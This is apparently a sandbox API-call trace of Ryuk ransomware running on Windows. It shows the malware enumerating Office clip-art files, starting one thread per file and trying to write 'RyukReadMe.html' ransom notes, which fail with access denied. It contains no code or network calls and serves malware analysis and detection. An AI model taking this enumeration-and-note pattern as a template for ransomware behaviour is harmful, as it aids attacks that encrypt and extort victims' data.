	[0255.910] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.910] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49077500, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e574fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49077500, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01742_.GIF", cAlternateFileName="")) returned 1
	[0255.910] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2934
	[0255.913] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.913] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47d64800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47d64800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x4d5, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01743_.GIF", cAlternateFileName="")) returned 1
	[0255.913] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2938
	[0255.915] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.916] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9359300, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9359300, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x31f, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01744_.GIF", cAlternateFileName="")) returned 1
	[0255.916] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x293c
	[0255.917] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.918] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43119400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x43119400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01745_.GIF", cAlternateFileName="")) returned 1
	[0255.918] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2940
	[0255.920] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.921] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ab95900, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ab95900, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2e2, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01746_.GIF", cAlternateFileName="")) returned 1
	[0255.921] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.921] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2944
	[0255.923] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.923] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34c37800, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x34c37800, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x387, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01747_.GIF", cAlternateFileName="")) returned 1
	[0255.923] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2948
	[0255.925] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.926] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9c6a00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x70875130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d9c6a00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01748_.GIF", cAlternateFileName="")) returned 1
	[0255.926] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x294c
	[0255.929] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.929] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d7b600, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x28d7b600, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01749_.GIF", cAlternateFileName="")) returned 1
	[0255.929] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2950
	[0255.931] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0255.932] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207f7b00, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x207f7b00, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01750_.GIF", cAlternateFileName="")) returned 1
	[0255.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0255.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2954
	[0256.060] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.061] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cebf400, ftCreationTime.dwHighDateTime=0x1bd4e69, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cebf400, ftLastWriteTime.dwHighDateTime=0x1bd4e69, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01751_.GIF", cAlternateFileName="")) returned 1
	[0256.061] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2958
	[0256.063] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.063] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3fc5100, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3fc5100, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x304, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01770_.GIF", cAlternateFileName="")) returned 1
	[0256.064] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x295c
	[0256.065] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.066] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42a6f00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa42a6f00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01838_.GIF", cAlternateFileName="")) returned 1
	[0256.066] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.066] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b9af0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2960
	[0256.068] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.069] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1c81500, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1c81500, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x446, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01839_.GIF", cAlternateFileName="")) returned 1
	[0256.069] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.070] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4bd1d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2964
	[0256.071] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.072] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94800, ftCreationTime.dwHighDateTime=0x1bd4e55, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3d94800, ftLastWriteTime.dwHighDateTime=0x1bd4e55, nFileSizeHigh=0x0, nFileSizeLow=0x5fe, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01840_.GIF", cAlternateFileName="")) returned 1
	[0256.072] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.072] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c08b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2968
	[0256.073] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.074] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x983ead00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x983ead00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x76c, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01842_.GIF", cAlternateFileName="")) returned 1
	[0256.074] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.074] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x296c
	[0256.075] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.076] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x970d8000, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x970d8000, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x12d1, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB01843_.GIF", cAlternateFileName="")) returned 1
	[0256.076] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.076] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2970
	[0256.077] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.078] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb347100, ftCreationTime.dwHighDateTime=0x1bd4e4a, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb347100, ftLastWriteTime.dwHighDateTime=0x1bd4e4a, nFileSizeHigh=0x0, nFileSizeLow=0x102b, dwReserved0=0x72, dwReserved1=0x0, cFileName="WB02229_.GIF", cAlternateFileName="")) returned 1
	[0256.078] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.078] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4cad50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2974
	[0256.080] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.080] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x72, dwReserved1=0x0, cFileName="WHIRL1.WMF", cAlternateFileName="")) returned 1
	[0256.080] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2978
	[0256.081] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.082] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x72, dwReserved1=0x0, cFileName="WHIRL2.WMF", cAlternateFileName="")) returned 1
	[0256.082] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.083] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x297c
	[0256.083] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.084] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x72, dwReserved1=0x0, cFileName="WING1.WMF", cAlternateFileName="")) returned 1
	[0256.084] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.085] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2980
	[0256.085] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.086] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x72, dwReserved1=0x0, cFileName="WING2.WMF", cAlternateFileName="")) returned 1
	[0256.086] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.087] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2984
	[0256.088] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.088] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x72, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1
	[0256.088] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0256.089] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2988
	[0256.090] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0256.091] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x72, dwReserved1=0x0, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0
	[0256.091] FindClose (in: hFindFile=0x7c7b0 | out: hFindFile=0x7c7b0) returned 1
	[0256.540] SetLastError (dwErrCode=0x0) 
	[0256.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.793] GetLastError () returned 0x5
	[0257.794] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0257.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.794] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0257.794] SetLastError (dwErrCode=0x0) 
	[0257.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.794] GetLastError () returned 0x5
	[0257.794] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0257.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0257.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c7b0
	[0257.795] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56406370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0257.795] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56406370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7089b290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72, dwReserved1=0x0, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 1
	[0257.795] SetLastError (dwErrCode=0x0) 
	[0257.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\RyukReadMe.html" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0257.795] GetLastError () returned 0x5
